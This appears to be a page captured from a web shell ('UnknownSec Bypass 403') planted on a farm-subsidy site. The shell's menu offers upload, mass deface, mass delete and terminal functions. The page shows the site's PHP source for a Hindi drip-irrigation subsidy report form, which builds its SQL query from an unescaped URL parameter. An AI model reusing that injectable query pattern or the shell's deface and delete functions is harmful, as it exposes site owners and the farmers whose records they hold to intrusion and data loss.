UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_anudaan_santoshjanak_form.php
<?php include "top.php"; if(isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from anudaanfarmerdocumenttb where regno='".$id."'"; $result = mysqli_query($conn,$sql); $data=mysqli_fetch_array($result); } ?> <script> $(document).ready(function() { var id = getUrlVars()['id']; var op = getUrlVars()['op']; if (id != "") { $.ajax({ method: 'POST', url: 'get_anudaanfarmerreg_detials.php', data: '&id=' + id, dataType: "JSON", success: function(data) { //var obj = JSON.stringify(data); // var str = $.parseJSON(obj); $('#hdid').val(data.hdid); $('#farmername').val(data.farmername); $('#village').val(data.villagename); $('#block').val(data.blockname); $('#post').val(data.post); $('#tehsil').val(data.tehsil); $('#district').val(data.districtname); $('#state').val(data.statename); $('#system').val(data.system); $('#cropname').val(data.cropname); $('#area').val(data.area); $('#farmname').val(data.farmname); getfarmersantoshjanakdetails(data.hdid); if (op == "Update") { $('#pageheading').text("Edit Farmer"); $('#pageheading1').text("Edit Farmer Details"); $('#btnopration').text("Update"); document.getElementById("farmername").focus(); } else if (op == "Delete") { $('#pageheading').text("Delete Farmer"); $('#pageheading1').text("Delete Farmer Details"); $('#btnopration').text("Delete"); document.getElementById("village").setAttribute('disabled', true); document.getElementById("state").setAttribute('disabled', true); document.getElementById("district").setAttribute('disabled', true); document.getElementById("block").setAttribute('disabled', true); document.getElementById("fathername").setAttribute('disabled', true); document.getElementById("mobileno1").setAttribute('disabled', true); document.getElementById("mobileno2").setAttribute('disabled', true); document.getElementById("age").setAttribute('disabled', true); document.getElementById("gender").setAttribute('disabled', true); } } }); } }); function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function getfarmersantoshjanakdetails(id) { $.ajax({ method: 'POST', url: 'get_anudaanfarmer_santoshjanak_details.php', data: '&id=' + id, dataType: "JSON", success: function(data) { $('#system').val(data.system); $('#place').val(data.area); if(data.sdate!="01-01-1900") { $('#sdate').val(data.sdate); } } }); } function saveformer() { var flag = true; var system = document.getElementById("system").value; var place = document.getElementById("place").value; var sdate = document.getElementById("sdate").value; var regno = document.getElementById("hdid").value; var btnopration = document.getElementById("btnopration").innerHTML; var text = "Do you want " + btnopration + " Farmer Details"; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'manage_farmer_anudaan_santoshjanak_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '®no=' + regno + '&system=' + system + '&place=' + place+ '&sdate=' + sdate + '&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { ; if (msg == "1") { alert("Save Successfully"); $('#hdid').val(""); window.location.href = "list_anudaan_farmer.php"; $('#btnopration').text("Save"); } else if (msg == "2") { alert("Mobile No. Already Exist"); window.location.href = "list_anudaan_farmer.php"; } else if (msg == "3") { alert("Update Successfully"); window.location.href = "list_anudaan_farmer.php"; } else if (msg == "4") { alert("Delete Successfully"); window.location.href = "list_anudaan_farmer.php"; } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add Anudaan Farmer</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_anudaan_farmer.php">Anudaan Farmer List</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form"> <!----> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <h3 align="center">राष्ट्रिय कृषि विकास योजना "पर ड्राप मोर क्रॉप" माइक्रो इरीगेशन ड्रिप/स्प्रिंकलर स्थापना की संतोषजनक रिपोर्ट </h3> <br> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">लाभार्थी कृषक का नाम श्री/श्रीमती</label> <input type="text" class="form-control1" id="farmername" name="farmername" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">ग्राम</label> <input type="text" class="form-control1" id="village" name="village" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">पोस्ट</label> <input type="text" class="form-control1" id="post" name="post" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">विकासखण्ड</label> <input type="text" class="form-control1" id="block" name="block" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">तहसील</label> <input type="text" class="form-control1" id="tehsil" name="tehsil" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">जिला</label> <input type="text" class="form-control1" id="district" name="district" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">प्रदेश</label> <input type="text" class="form-control1" id="state" name="state" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">स्थापित सिस्टम</label> <input type="text" class="form-control1" id="system" name="system" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">ड्रिप / स्प्रिंकलर फसल </label> <input type="text" class="form-control1" id="cropname" name="cropname" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">क्षेत्रफल (हे०) </label> <input type="text" class="form-control1" id="area" name="area" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">प्रमाणित किया जाता है कि मे० </label> <input type="text" class="form-control1" id="farmname" name="" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">(कार्यदायी संस्था का नाम) के द्वारा मेरे उपरोक्त साईट पर ड्रिप/स्प्रिंकलर सिस्टम की आपूर्ति कर स्थापित कर दिया गया है| सभी प्रकार से कार्य पूर्ण हो गया है तथा मुझको चलाकर ट्रायल दे दिया गया है | सिस्टम संतोषजनक ढंग से कार्य कर रहा है कार्यदायी फर्म द्वारा सिस्टम को चलाने तथा अनुरक्षण का पूर्ण प्रशिक्षण से दिया गया है| मुझे फर्म के कार्यों से कोई शिकायत नहीं है | अत: कृपया अनुदान के बराबर भुगतान की जाने वाली धनराशि आवेदन पत्र में दर्शाए गए बैंक खाते में अन्तरित करने का कष्ट करें|</label> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">स्थान </label> <input type="text" class="form-control1" id="place" name="place" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">दिनांक </label> <input type="text" class="form-control1" id="sdate" name="sdate" placeholder=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label" style="font-size:22px;">लाभार्थी/कृषक के हस्ताक्षर</label> <img class="img-responsive " src="anudaan_document_images/<?php echo $data['sign_imagepath']; ?>" id="sig" name="sig" alt="" /> </div> <div class="clearfix"> </div> </div> <div class="col-md-12 form-group"> <button type="submit" id="btnopration" onclick="saveformer();" class="btn btn-primary">Save</button> </div> <div class="clearfix"> </div> <!----> </div> </div> <!--//grid--> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec